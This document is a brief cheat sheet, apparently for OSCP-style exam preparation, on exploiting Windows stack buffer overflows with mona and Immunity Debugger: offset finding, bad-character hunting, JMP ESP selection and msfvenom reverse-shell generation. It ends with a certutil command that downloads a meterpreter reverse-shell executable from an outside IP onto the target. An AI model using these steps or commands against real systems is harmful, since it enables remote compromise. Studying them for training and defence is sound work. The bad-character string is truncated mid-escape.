STACK OVERFLOWS WITH MONA AND IMMUNITY

Time to find that offset!

1. Set a working folder if you haven't already. `!mona config -set workingfolder c:\mona\%p`
2. Create a script to fuzz the target. Take note of the amount of bytes the target can handle. Save this number and add 400.
3. Use pattern_create to create a payload to send to your target. This is used for the goal of finding the offset. `/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <size from step 2>`
4. Once program crashes, use mona to find pattern and in turn, find offset. `!mona findmsp -distance <size from step 2> EIP contains normal pattern : ... (offset XXXX)`
5. Double check. Send the following payload. ["A" * offset + "BBBB"] See if you overwrote the RET.

Bad Chars

Now its time to find bad chars!

6. Generate a bytearray with mona. `!mona bytearray -b "\x00"`
7. Get a string of bad chars that is identical to the bytearray. `\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x`
8. Append bad char string to payload and send to target. Take note of ESP value from immunity. `ESP 019DFA30`
9. Run *!mona compare -f C:\mona\oscp\bytearray.bin -a* to locate bad chars.
10. Note given chars and generate another byte array in mona with these specified, **!mona bytearray -b "\x00\x01"**. Obtain a string of the bytearray. Repeat this section until the status is *unmodified*. > eg. !mona bytearray -b "\x00\x07\x2e\xa0\" > Take it slow. Add one byte to the -b argument for the bytearray at a time. They are not all bad chars. **Look for a pattern. Bad chars can corrupt the next char in the line.**

Find a JMP

Now find a point to set the RET too.

1. Run `!mona jmp -r esp -cpb "\x00"` include all bad characters for -cpb argument.
2. Set RET to a valid address in little endian (backwards).

EXPLOIT!

It's shell time! =D

1. Run `msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f py` to grab payload.
2. Add padding before payload in exploit. "\x90"

STUFF TO DO

```
certutil.exe -urlcache -split -f "http://10.11.17.168:8080/windows_meterpreter_reverse_1234.exe" C:\Users\Public\shell.exe
```